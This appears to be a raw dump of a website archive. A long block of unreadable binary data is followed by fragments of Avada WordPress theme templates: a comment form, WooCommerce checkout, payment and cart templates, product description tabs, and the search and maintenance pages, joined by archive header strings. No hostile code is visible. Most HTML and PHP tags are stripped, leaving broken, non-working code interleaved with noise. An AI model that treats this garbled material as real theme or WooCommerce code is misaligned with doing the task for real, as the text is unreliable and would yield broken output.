M]w>HGBM^F9UkKoxFgv{OW CGepScmQQ:aB*cb_ێP<ɔ-w~ۮ].o7&[/cϱ:;T̎<)[Ox <4{&S"G駿bXQ1^jLdWر57~/|2C. 'uZ! dF1/bcUBۚr)_XR05]!lq%? --cy7&! E0Q8 .ȡag ]ǚ ->3k@ơÇQ-q?Yef GoZAu| gNߟp,pR}Kϓ>YѱY`!.** % [R )&/A(4X'p翽B/.)[KYUS-NG^@;x9`?;| 8Ԣ?gq~ҪUQ]>l Hjbs: bF;̗k; U79fԪ5|fM ך bs"{LhP(`p'꣘⣃Ax1VeeUE2eKGc^O /'xg靘]8ac@# Pk`AcU!R*,B'H"gnG~U*6t vێ]?zOf477 |NaۄEO "r7В nC=twtZOp? ~!;w٭-]1spǝu|A%;N5+=ig)?ǎUgݐB3cV0aS -ʖV6𹝍bDhƎ~֛=zl"[!Vx"wȱ{?Euu BLc0α/3qh! ̣n7up:q՛OH0ApXM8^.d]؏1f&L0ӧ^mngC 6GO||.eU}/:̜Ǣr ~.1-6"GىZ>~!55Ͽ=1!a Ï=ȵ*DP(¤b;/[7R׀vbmvaaZƚ0eXIcXB7[]U-2/'sk|t(AၱujJ@ZjuVc||Cֺ6dJ**jꢌFSpe\- #FXa&7jYyխ臅gxt=+քRvf3s@zEvnJK,TW76@A#+6c1Y+VLGsgعggGY|&*7wu&V jh˴lˀYlz=޿LVQV\\;M+TxV=!DF+dH+a?۰eK6Xv1Vdž\7}ÆW`|Kfs2 y:x* l@CsF.3Ţm¸1뒒֠م x"ywxaŎ{7fNU!]tiV&言e>V\mCX2)e7n`FCbv/{B'`wMXpQ(b7r9YTT1uJӬ7dfFkVCV 7Hu:eKk388d=JJ.(.Hv;CW?fLˍsתuʐ |V{xP@wg^WܘQ5͞o҄ {,6VS2?iWPpFjؐ!kbcvqqƘ 6m`~qL҅n7wrR"rvO:hΉĐ􉜹sЍ 3{%%&n3;HO[R@虌m&aF=)5bjimsv?J8nLnaεm6g&K)H|\, !~fuz$Eo݄g) >D!5BiOa%yσbGD\ aw.n04 `T(:vϹ;ںxѢNwcNtAcIjtŬӋ-Ͼx軍 -{LG w;k"5jDuf;{Ί`6xcv".,*uogclJgq8 %lIܺ~tm6  ;bCͿy7ݘu{^۶gEt"KggM[{C &*/M۶C_ s=c]rQb_bwFzw99vÇӶl۱x՚u=~\R$ 1"N0 >s͋OhPpp]DkT߃.}ůdl3-m9gL= m%rӍM4M[/sڔIIIdAwiH枽XZV&w~;/r3̟wh4hjir{<66yNג!z LQ):TL YZtא;U26p0ՂU+)E +ؽCGk)\;Fd|㍵O_PT$⢍u2<ǎ5̙5}Ӭ3ILe;^?!+6n'Y,pw3Jcw,ȑWr >[NL`p1lh^llwS&MY6LޙinifN~I;F7J;xΒ2YgTbc?pY98;\ _޷-ӧL~?~nuG+랄p%mwo۵k Fy'Nе;|`o; wǾ~N?3ݡ{\NN֡7Y 7 '>v2V;;tA }=uzƎ]ӅX+I^@٬ӛgϜ狼>g8Y{ѣG1?dщd`-~ºq|7.mj9\؝qWnbHN1#G<'tm vSvǎ 8|؛wlv!7E"gWL^~DDk tڟ?`` .~bp:|`룾6t_|'=!$ rqt}YK\4!Z_GE(|8eW8wƕEϪ^8TW*@Lfv`Vtp2VIYV9Lb㉉cJLL?3VʤF{sfX 6ǽU"[B"l%ǝ*j_Vw(;%>oQ쇏=|FށcKVm⑇@0xNw3~ĩ=u w)/(x0dkjGCec0|gR^cDW$SOlQ_|9O;V6ձ{>mJN dlܴp"!Δ`򇜝{ǘy'Bn7xC~yp A }p G}G WB)Kʴyf@Ff76!i`uIH(n.>ڕ۝ B  c٣^U9+n/1R#̢cǏopщh#;+{ɟx~]ak:iȤ?q}bgΘj̨ەrņV!Z?(O[x65kp-=XXְ'y'^?fJux̀i npN*B٩54Zٶtj H$.r-fꌰ?66מ'{'*(] |zlܹ42~w.\_uΡք) |ݭxwPN?}u-whB:Wd@6ȱc[ZT|?Ɓ);a Y̜e|cGZv}W-gL?_:tT*qPB ׂ(XwRpXmַ^mnÍCjn'ؾ!Ru#$M->c&x?ۈC?2>1'ƐC߁D!d1Ni>œ@c˜/(?' q[m&{Ш[KQ75esR!B{XKT '!(Vy)VQCŸе)Ƚ`1a M±xFa͜)J[-wf75<3?  Nq%_24z}JމWŢ qtw̷ۘz >i)Bx3N+)+Xyɇ 6ߩw^oG/P|`wRVzf%!#{Q@$'%ȪjF:(hP;.8y\Zwz( Js\m&/= {! P^, 4hc?xL!6)Bp}i"Ep9 mXm; t?o3=Op궵 s)/>S ii0S?[2v:{qQNݩmVyetAD0"huCiHyǞzo'OoSg:ƣ%k@ܞHlWp0N=0FVF˭;؅iÙ{l$w׳xQ&&>zlj O|7p]՜{xjg{и!:uz 8v¨5}d]y1'̻ڒҲ[@ Z`*:%}T Sϵ&>n/bvVȋIKK 甔ŅvsqYx™3}j=hi1"Z^@cjĄ+!A{*oqCc:e|%ƍ Eu]rk5˿9 <ޙi%sOJs] sDZxz1h{x*:G[X=q0\c&tqO}1߱j>]Wx(fCnǶC_X0CiAhlJHL8q˼ydgg;V3|skꆡ}XYPX<{rW#G7zM*E`W# D@|8r0g_ .+ރ.y-&:^Bߺ2cL2R_3M`֌i֐γĺCFȦBPT!/54 /-+}ް.dezؘܹx]$^w7.M+Nt,\CoD_5ĥZ) VLw`p|?p&af`'~$Rog(l1NkJ[wFN(q0j`}M7| kV;٬I'`B, L_XhX#4ӏ@VѣFN2c17_9Qãztܡ}1F~֌Eeee3и _gqiFܘP:|hl >7FR}zz#V}bM>92e꤉GveI T*5}!"H3pϙ5c/x20n5lcnj?p0Ă+@p)_|4tq8)e\:zXF6<F˦LX }nqBWa1M) :|sYO܈"/C;C_h2xjPҁw <==07G0v=sIV!S5uzf} g רs 5_b(S&Mh8n:BI}oA6edd<0 |8mnťe0ޤըfv AvBb (Cǵ.>BKkHV~'L*U*"/4Pݸ#*2~x.aKqjO}/Uj~-,jF0ϋSK+exZ# 3.J͚>5?))Puu ZxnYllLFB&bnpǻ}3ZRM2y纍X7J@Je/oD,Q466k`ȅ/g1([V[Q 4qq1#G8Q"\l=[[Zzi)Ym%e180OL&347LF#MCcqp]z_Gqt77 pZe "|Os х'*xÆ js1Ӗq ͚[Vg@4(tEۋ |>Ntv0a 0 rk{͜dw8_!?%-+sPv 3c'"?3[iT 5}G eff!\ܙpSkTD/ᮋi4n8EkT&:xPp~ }W` a[4 p0ΜfKd6&AtI7n.G d6ضcg=F%O.bw1xϊg(CPdL" O!;21K[.,|YtWgHe*xS;t-h4&vƟؘhGfFZLԭ~n7 n[3Y~va1jYΉ]CșG]珗+VH_-M.WY޶c׼kRxi!oj֘f1)[Zd# 3;  ONvffNnh2\d3`qĆKxRߚmhlֹAdKx> ".`vΠqf4{jN䃕.M­\ftf HM4cߺT DP#yѾ |_*Aslߙt:X_"X(3FB .;ê5j\D{Y\˙c " O/)N E\t4J6 tWL-ojlbV8&(pl4D0ze+`"&V_ 3gb5sX‚ 1K`: qQÞa*q&!0#'eݽيdNlF i^Vc|+ԃ1fԏngEŗt+lCVTtvU1.sdeW$ʰ! Y#z![KП;3Dtf 2nJ`l3i<pm ?H~F`}߿PG?&C.L){TL\\LKHŸ  LkX<](("yTgz;q؇1{\\UTRrٿ>lT'u9o6eR!]Z?}LB,5%tQqIS dr 0'4$'cǮ=- @\l4E|Rtϥ@a| [[%袄0;Exr~fؘɠ{!:+BlB״WU;3;l@qKB?WЯ+!$ݳYw?s7ٝlvϛeY{yvPoUFZ.FM7̿]I A/7]Fq9] B oAQ+VpY!sz[.:aw9Ɍx} ezi5&IKM#CjxT&>x ?-XP4^J0h;*}Ru:V;,sX$Gd]^ԠP(cλ`u`u8_ Sw3> }(pHuX,2 L*t1q^g6ßaju#ehu/FQT{3 9jmmB'3 nmJ$Vc}(5PX1b` 5-:קfХb*# cOPdw:QckESBJ/IHA12JҎ k">j i ;Qtz`A|# ڑks ] 8S2[R2Y)S;)v" {zpPCنx0=hh~`_R`2[8eH"\{„{#?S q-Vk&>jR]LN>>̍ tI%bvQ_I5'6#AXbJ?9`555a Tr9j)' i$.xmjږ(!J,b8 I D5F(dBaP؇W1B{;&Uzܘ vX~R;A}!aB i*!҉4!4M;&7Nkv?u8#2Ź #֦L +0Exo.A ϔx w E'` "#Kbqۂ  oJPqV%T%_EJ(2@b@</Rb) 4ʖw4D-uQrGyݐ;LdKNdF!'$-eoI?pk2r[ Ėdgf @P Ե4T0pZP ? AaӋgєpUVq|P'/!4A{\qL(,gМqa# `z XA$H7"a#t+b}&7=KS 9Th=;rUP"˩qM?(rORA R 0l۽\O~0`1)X$ 3J@0p9 ^Ε43%dH ^<(x dI4YDg6}kSs.^t .].K2O$_`_OdyT5 N$/$A8NU&s;$`^ i)HRrˁ,,.aǁL[[{lR0A+bЅ__K"Ӎ)?GbPopVźo^<|hd#  0nx m6RK4Xbb 媻Z"F^Zatr!)6wZZ[5V9EIAL&IJpZ@([r@uC'ITX} 3pN&%2Iop5@Bx7NRщFPBobܮO ʸ$$l%/G1#'b b8J) psyd6bKI tET3c8̭6+3iC/`[ZKvxBZFZC8^0AM| p`KphZgSsMAKn :¸\.erbbL<nP<^P IP aD:h (Zry~֤a/n=@̕ <[WS0wu (CY=+%lر7fܽGAV5yok3XLMYd{Ds1(.6,~iGGYCzZ"V% dS*AP֜R)GhWTJ@|HQɇՅHXB) drPKȔ#iUe"u*",X|`pm]l*z=q: Z"HGi*T=c=UT(a hW17deRbNSqA )EpK$Ʀ' ɐVT*>| x vvt%[8P!(%A94hni11%NڢP*ZH2>ZV@0`⡷ss =hT_`pF#H.Aa1CҶvtvH:(!>#qCQ NG`!9z b16o"|%h4LFcio>WuvJnv6EI647@% U F5>I,]ϢV+}pd+ v_M}Hdlto% TP%(Sq W}M#u4D!V >> "d†KRiԚV/]V]S3G3sZĤ_?o;|P4Rp ͨ׻IwYm²3gN7i;IxO X3d L$ ^\ZZZtЗ~TA^;:rܮjr9I~GlLth0CtxBB_U!BmGph}>TYU9>;#OKYbp+BvW9VMMJr&%!  )xiO[8;qGaC**Hp2^/a2X`{ vTjѪdiC)d㋻K8VTB!G93:vԨ1h % TξHVb.E;: !{Qwޞ`I@ cNF&ofWdrA If.2á@g 545 EO GL"FBlV}C(\}(.6[ Bvk0 SHaat3~R 9;z{@-~3)>t=O@0j0Z6 /52&qҤ jno&jup-Ihkli:tdڤq=G@p+[?(4<ύ{hljp {{lvm箫W,[`?u.c\s>k@BsYj &eKk a᭴&xL&d6uhXtQi ryW5$ĵx 59}^P"*(2!1U՘| 3 騶zWcB]mQi+ޙ"(܌FgfȜޢPCccȤ8FD+[>'+{\&/ %-Ȁ=Dž't&i!ԖiŊ. /#ћ~r5dri VjkkCq1a 񖔞. =r㖭mv;!y&ٙEjzSm]=?&4M֟ AcSt\!o\OxpGcK 1z>eIݱk 0BW>p(.eδт|i8iw.-+nٶ}/nMij1  rVAiQw6\+ @{Z|قD,IAp /D< ^՛nqebhn{uaym"I!0OGV)I^slLIҰ\*I^I ͉qt%:Š QjBP$h2/n萆ci13[H]tɲ9f567®CIRG4 *TNC]ȇC[PFdiǡop[BՅF؟h*녈/^3['!|&#E׎N7nKTCJɼ]&/U Y Ŋ㨬 ɲϏ*>GVRyJr3*7*;kKb||'$d]hM)CCK'@(sȑ]~XkDSrHMcF/P)~/0b֬0*֤'0dCTt?ճ\v5e5vTv>X+Haqb݆7uټ??- ۣ¹ R? ^X\" 6r}wttt\tjBGd,r~f]7@)Ía)𚞚Rl0 A4PrɥԤx/rCC֮rf;K^[ZogZ'GbRJ@WE׫ #1GB1W5%!g'l $EX4~^&5Hl"#n}ayQn."SYU^o ŦCG*1S)dIIL@&ch|Fì̖`P kʓRt!͛PK[̈QԨ}C߬]7Jx@U@ AZHOfPO>xMvL iXDD0B Mŗ!HiLt4uEde >܃.\fj-I F*_p 3?}jR |?!b&L0jr_NVF#!p_t8ul߽΀ߧ-rs5Q7o nz!N@xmۣ>'].w|亃s?NjAPVV~}z$2 hB7R@t ^ idB;l$!- "qSտFA\J%53]Tb4U>qQS5u?Û0Rd0wykerL Ig8PNkKrq{ӌSA nbYI_{w6[,cPV?Bڻn:~\}8fT38a&wTǠx[!O|m.3(ǃ7}_6Eh2č,Nj.'ΪH†0Oaӏ)8ĒLl@b(zl6߄~ R`B[k0'dq8G9 o* LOO1zTx" Az? Hő | ySzk@/=ٛ~Ͽx/;Cl|O8VP$~ 7"Va9iڐn䌁JeiFǰ3aq<^}8\+I X;aM%Ǒ "V)]{X)NY0~Y!) ʙ7-uaQh HH5&!-Φ5b Q"dADǠJ?/AbkDzLѣ;aV E&W //`}>4L?O~㦧^}1?3y K~FdRNr'Y(%9%C'-%6m/36yT*H^s+mm3$2)᯦|w:p4p>{fά‡n=i(>.#wܸRSSA}cкB_}I?񏦆3t&p.nu^|wf#[tE.i伃P߇x6HJK˅/nٶsׯ=0߿<1mI$gO P(J2ID+ Y+ ˡwIuӧM9I,µrd H_|cwȥ2uܤ5~?==p$@kq}aW__?᧟  ^1R(]+_ϭ~ N W`xL+{ 6}Lb|l6H~ሎ?X^Qq#S_\'0؃.-0'BaW© .AȲ,5 t*x1*+0IAN#@cqXXb#G69 쥱1;]<C`%?E\Qq{#BpVWWO<|-G䱁ӧ綍'+ qRbF@9p?OCbcΌ(׋JJEa`]Bsg*t:icSw E@<we_Yϰ.j5f]ye}GmkVs >Ξ9v܈sq^z9kX]go]v'iKXDM_|]ۣ=m5'*R:׮ݷ6Vy)*Je94z3<3}ljy~OǖOHKS>+@$z2v|IRië.L*#R|p`@Ԇ$@N;u%T}J geuM->îBu`6DL˥(IlL7>/  o;AZ]"I4SX\wp0T*4oF r Mũr4?NCspA8* L2iRj4Awjg@,V3j&dk\cXF?t|S΂:!~о'9_w:Ȃ 7ݎp٭}0/&_ P(*ҡj];puⵖ

        '; if ( get_option( 'show_comments_cookies_opt_in' ) ) { $fields['cookies'] = ''; } $comments_args = [ 'fields' => apply_filters( 'comment_form_default_fields', $fields ), 'comment_field' => '
        ', 'title_reply' => esc_html__( 'Leave A Comment', 'Avada' ), 'title_reply_to' => esc_html__( 'Leave A Comment', 'Avada' ), 'title_reply_before' => '', 'title_reply_after' => '', /* translators: Opening and closing link tags. */ 'must_log_in' => '', /* translators: %1$s: The username. %2$s and %3$s: Opening and closing link tags. */ 'logged_in_as' => '

        ' . sprintf( esc_html__( 'Logged in as %1$s. %2$sLog out »%3$s', 'Avada' ), '' . $user_identity . '', '', '' ) . '

        ', 'comment_notes_before' => '', 'id_submit' => 'comment-submit', 'class_submit' => 'fusion-button fusion-button-default fusion-button-default-size', 'label_submit' => esc_html__( 'Post Comment', 'Avada' ), ]; comment_form( $comments_args ); endif; Avada/woocommerce/checkout/review-order.php000064400000012462152342437710015044 0ustar00 cart->get_cart() as $cart_item_key => $cart_item ) { $_product = apply_filters( 'woocommerce_cart_item_product', $cart_item['data'], $cart_item, $cart_item_key ); if ( $_product && $_product->exists() && $cart_item['quantity'] > 0 && apply_filters( 'woocommerce_checkout_cart_item_visible', true, $cart_item, $cart_item_key ) ) { $product_permalink = apply_filters( 'woocommerce_cart_item_permalink', $_product->is_visible() ? $_product->get_permalink( $cart_item ) : '', $cart_item, $cart_item_key ); ?>
        get_image(), $cart_item, $cart_item_key ); if ( ! $product_permalink ) { echo $thumbnail; } else { printf( '%s', esc_url( $product_permalink ), $thumbnail ); } ?>
        get_name(), $cart_item, $cart_item_key ) ) . ' '; ?> ' . sprintf( '× %s', $cart_item['quantity'] ) . '', $cart_item, $cart_item_key ); ?>
        cart->get_product_subtotal( $_product, $cart_item['quantity'] ), $cart_item, $cart_item_key ); ?>
        cart->get_coupons() as $code => $coupon ) : ?> cart->needs_shipping() && WC()->cart->show_shipping() ) : ?> cart->get_fees() as $fee ) : ?> cart->display_prices_including_tax() ) : ?> cart->get_tax_totals() as $code => $tax ) : ?>
        name ); ?>
        label ); ?> formatted_amount ); ?>
        countries->tax_or_vat() ); ?>
        Avada/woocommerce/checkout/form-pay.php000064400000013230152342437710014156 0ustar00get_order_item_totals(); // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited ?>

        get_items() ) > 0 ) : ?> get_items() as $item_id => $item ) : ?> get_product(), $item ); $is_visible = $product && $product->is_visible(); $product_permalink = apply_filters( 'woocommerce_order_item_permalink', $is_visible ? $product->get_permalink( $item ) : '', $item, $order ); ?>
        get_image(); if ( ! $product_permalink ) { echo $thumbnail; } else { printf( '%s', esc_url( $product_permalink ), $thumbnail ); } ?>
        %s', esc_url( $product_permalink ), $item->get_name() ) : $item->get_name(), $item, $is_visible ) ); echo apply_filters( 'woocommerce_order_item_quantity_html', ' ' . sprintf( '× %s', esc_html( $item->get_quantity() ) ) . '', $item ); do_action( 'woocommerce_order_item_meta_start', $item_id, $item, $order, false ); wc_display_item_meta( $item ); do_action( 'woocommerce_order_item_meta_end', $item_id, $item, $order, false ); ?>
        get_formatted_line_subtotal( $item ); ?>
        needs_payment() ) : ?>
          $gateway ) ); } } else { echo '
        • '; wc_print_notice( apply_filters( 'woocommerce_no_available_payment_methods_message', esc_html__( 'Sorry, it seems that there are no available payment methods for your location. Please contact us if you require assistance or wish to make alternate arrangements.', 'woocommerce' ) ), 'notice' ); // phpcs:ignore WooCommerce.Commenting.CommentHooks.MissingHookComment echo '
        • '; } ?>
        ' . esc_html( $order_button_text ) . '' ); ?>
        Avada/woocommerce/single-product/short-description.php000064400000001772152342437710017246 0ustar00post_excerpt ); if ( ! $short_description ) { return; } ?>
        Avada/woocommerce/single-product/tabs/additional-information.php000064400000002247152342437710021150 0ustar00

        Avada/woocommerce/cart/cart.php000064400000022331152342437710012503 0ustar00
        cart->get_cart() as $cart_item_key => $cart_item ) { $_product = apply_filters( 'woocommerce_cart_item_product', $cart_item['data'], $cart_item, $cart_item_key ); $product_id = apply_filters( 'woocommerce_cart_item_product_id', $cart_item['product_id'], $cart_item, $cart_item_key ); /** * Filter the product name. * * @since 2.1.0 * @param string $product_name Name of the product in the cart. * @param array $cart_item The product in the cart. * @param string $cart_item_key Key for the product in the cart. */ $product_name = apply_filters( 'woocommerce_cart_item_name', $_product->get_name(), $cart_item, $cart_item_key ); if ( $_product && $_product->exists() && $cart_item['quantity'] > 0 && apply_filters( 'woocommerce_cart_item_visible', true, $cart_item, $cart_item_key ) ) { $product_permalink = apply_filters( 'woocommerce_cart_item_permalink', $_product->is_visible() ? $_product->get_permalink( $cart_item ) : '', $cart_item, $cart_item_key ); ?>
        get_image(), $cart_item, $cart_item_key ); if ( ! $product_permalink ) { echo $thumbnail; // PHPCS: XSS ok. } else { printf( '%s', esc_url( $product_permalink ), $thumbnail ); // PHPCS: XSS ok. } ?>
        %s', esc_url( $product_permalink ), $_product->get_name() ), $cart_item, $cart_item_key ) ); } do_action( 'woocommerce_after_cart_item_name', $cart_item, $cart_item_key ); // Meta data. echo wc_get_formatted_cart_item_data( $cart_item ); // PHPCS: XSS ok. // Backorder notification. if ( $_product->backorders_require_notification() && $_product->is_on_backorder( $cart_item['quantity'] ) ) { echo wp_kses_post( apply_filters( 'woocommerce_cart_item_backorder_notification', '

        ' . esc_html__( 'Available on backorder', 'woocommerce' ) . '

        ', $product_id ) ); } ?>
        cart->get_product_price( $_product ), $cart_item, $cart_item_key ); // PHPCS: XSS ok. ?> is_sold_individually() ) { $product_quantity = sprintf( '1 ', $cart_item_key ); } else { $product_quantity = woocommerce_quantity_input( array( 'input_name' => "cart[{$cart_item_key}][qty]", 'input_value' => $cart_item['quantity'], 'max_value' => $_product->get_max_purchase_quantity(), 'min_value' => '0', 'product_name' => $product_name, ), $_product, false ); } echo apply_filters( 'woocommerce_cart_item_quantity', $product_quantity, $cart_item_key, $cart_item ); // PHPCS: XSS ok. ?> cart->get_product_subtotal( $_product, $cart_item['quantity'] ), $cart_item, $cart_item_key ); // PHPCS: XSS ok. ?> ×', esc_url( wc_get_cart_remove_url( $cart_item_key ) ), /* translators: %s is the product name */ esc_attr( sprintf( __( 'Remove %s from cart', 'woocommerce' ), wp_strip_all_tags( $product_name ) ) ), esc_attr( $product_id ), esc_attr( $_product->get_sku() ) ), $cart_item_key ); ?>
        Avada/search.php000064400000014300152342437710007544 0ustar00 Avada/maintenance.php000064400000002072152342437710010564 0ustar00 class=""> >